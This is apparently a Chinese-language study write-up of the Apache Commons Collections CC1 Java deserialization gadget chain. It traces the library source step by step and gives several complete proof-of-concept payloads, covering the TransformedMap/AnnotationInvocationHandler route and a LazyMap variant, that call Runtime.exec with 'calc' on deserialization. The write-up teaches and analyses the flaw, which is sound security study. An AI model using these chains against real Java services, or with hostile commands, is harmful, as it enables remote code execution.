环境配置 Java Java版本应在8u71之前,后续版本已经修复。java历史版本下载:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
commons-collections 该依赖版本应在3.1-3.2.1 之间
源码 在java 安装路径下解压src.zip ,然后下载sun 的源码到src 文件夹,可以在以下网址寻找对应版本的sun 包:https://hg.openjdk.org/
IDEA 首先安装好maven,新版默认绑定,然后插件会自动安装。新建一个maven的项目环境,之后项目结构会如下图所示:
在pom.xml
中的<project>
标签下导入依赖:
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
CC1 导入commons-collections 依赖后在IDEA 的外部库中就会出现其对应的源码,此时查看org.apache.commons.collections.functors 下的InvokerTransformer 类。
这个类中有一个public
构造方法
1 2 3 4 5 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; }
其参数:
方法名
类数组:准确的说应该是存储方法参数对应的类
对象数组:存储方法的参数
还有一个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var5) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var6) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var6); } } }
可以看出这个方法应用了反射去调用方法,所以这里我们可以写一个代码尝试一下:
1 2 3 4 5 6 public class study1 { public static void main (String[] args) { Runtime r = Runtime.getRuntime(); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc.exe" }).transform(r); } }
从源码中可以看出调用transform()
方法的参数应该是exec
方法所属的类的实例化对象。
从上面可以看出InvokerTransformer
这个类是可以反射执行命令的。我们现在把链加长一下,上面看到transform
是反射入口,那么现在看一下哪里调用了这个transform
。在查找前先进行设置:
作用域到库,不然搜不到。可以看到找到了checkSetValue()
方法:
1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
这里由于是protected ,所以没法直接调用,因此继续寻找哪里调用了checkSetValue()
。
找到了setValue()
方法,这个方法在一个内部类中,这个类继承了AbstractMapEntryDecorator 抽象类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
同时,MapEntry 是AbstractInputCheckedMapDecorator 的一个内部类,大致看一下AbstractInputCheckedMapDecorator 就可以发现还有一个内部类EntrySet ,在这个内部类中多次new 了MapEntry 。既然new 了,那么就可以调用setValue()
方法。再看一下AbstractInputCheckedMapDecorator 又能发现entrySet()
方法,这个方法实例化了EntrySet 。
1 2 3 4 5 6 7 public Set entrySet () { if (isSetValueChecking()) { return new EntrySet (map.entrySet(), this ); } else { return map.entrySet(); } }
为了调用entrySet()
方法,我们需要实例化一个对象,那么这里实例化TransformedMap 这个类也就是上面checkSetValue()
方法所在的类,因为这个类继承了AbstractInputCheckedMapDecorator 抽象类,可以使用父类的entrySet()
方法,但是TransformedMap 的构造方法私有,观察这个类可以找到一个静态方法:
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
可以通过这个方法去实例化。这里先分析下这个方法的三个参数,第一个参数map 需要是非空map (跟踪构造方法可知),第二个参数没有什么具体作用可留空,第三个参数为调用transform()
方法的对象,因此应该是InvokerTransformer 实例化的对象。
因此有payload:
1 2 3 4 5 6 7 8 9 10 11 12 public class study1 { public static void main (String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc.exe" }); HashMap map = new HashMap <>(); map.put("key" ,"value" ); Map<?,?> TransformedMapMethod= TransformedMap.decorate(map,null ,invokerTransformer); for (Map.Entry entry:TransformedMapMethod.entrySet()){ entry.setValue(r); } } }
最后串一下这个过程:
这里的payload只有最后的for 遍历不是很好理解。这种遍历方式首先会实例化一个EntrySetIterator 对象,然后调用hasNext()
方法,判断是否有下一个。
1 2 3 public boolean hasNext () { return iterator.hasNext(); }
如果有下一个,就会返回一个MapEntry 对象。然后就可以调用setValue()
方法了。
AnnotationInvocationHandler 继续查找引用了setValue()
方法的类,找到了sun.reflect.annotation.AnnotationInvocationHandler 这个类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
这个类的readObject()
方法中调用setValue()
方法的for 循环和上面的payload非常相似,那么这里就考虑从这里继续利用,但是观察AnnotationInvocationHandler 这个类就能发现可见范围是default ,那么到这里基本思路就可以是通过实例化一个AnnotationInvocationHandler ,然后反序列化AnnotationInvocationHandler 对象进而调用readObject()
方法。
1 2 3 4 Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor constructor = c1.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, transformedMap);
这里传入的transformedMap 也就是for 循环中的memberValues ,这个可以查看构造函数:
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
到这里还有一个问题,就是setValue()传参问题,这个类中传入的是 AnnotationTypeMismatchExceptionProxy 对象,但是我们应该传入的是Runtime 对象。所以这里先将命令写成可序列化的模样:
1 2 3 4 5 Class c = Runtime.class;Method getRuntime = c.getMethod("getRuntime" ,null );Runtime runtime = (Runtime) getRuntime.invoke(null ,null );Method getExec = c.getMethod("exec" , String.class);Object obj = getExec.invoke(runtime, "calc.exe" );
然后写成InvokerTransformer 的形式:
1 2 3 new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class}, new Object []{"getRuntime" , null })new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null })new InvokerTransformer ("exec" , new Class [] {String.class}, new Object []{"calc" })
然后使用ChainedTransformer 递归调用因为这个类继承了Transformer ,可以生成TransformedMap :
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class [] {String.class}, new Object []{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
然后看一下递归部分的代码:
1 2 3 4 5 6 public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
这个类中重写了transform()
方法,new ConstantTransformer(Runtime.class)
部分代码如下:
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
相当于是传入什么就返回什么,这样多次递归就能调用exec()
方法了。payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class [] {String.class}, new Object []{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "value" ); Map<String, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c1.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, transformedMap); serialize(o); unserialize(); } public static void serialize (Object obj) throws Exception { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("bin" )); outputStream.writeObject(obj); outputStream.close(); } public static void unserialize () throws Exception { ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("bin" )); Object obj = inputStream.readObject(); inputStream.close(); }
流程图:
LazyMap链 org.apache.commons.collections.map 下的LazyMap 类有以下方法:
1 2 3 4 5 6 7 8 9 10 11 12 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
可以看出key 和factory 是可以控制的,因此有payload:
1 2 3 4 5 6 7 public static void main (String[] args) { HashMap map = new HashMap <>(); map.put("key" ,"value" ); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc.exe" }); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,invokerTransformer); lazyMap.get(Runtime.getRuntime()); }
回到AnnotationInvocationHandler ,发现还有一个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
在这个方法当中可以看到有调用get()
,经过前面的分析可知这个类的memberValues 是可控的,那么不就可以和LazyMap 相结合吗?payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;public class study1 { public static void main (String[] args) throws Throwable { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class [] {String.class}, new Object []{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "value" ); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,lazyMap); invocationHandler.invoke(new Object (),MyInterface.class.getMethod("equals" ),new Object []{}); } } interface MyInterface { void equals () ; }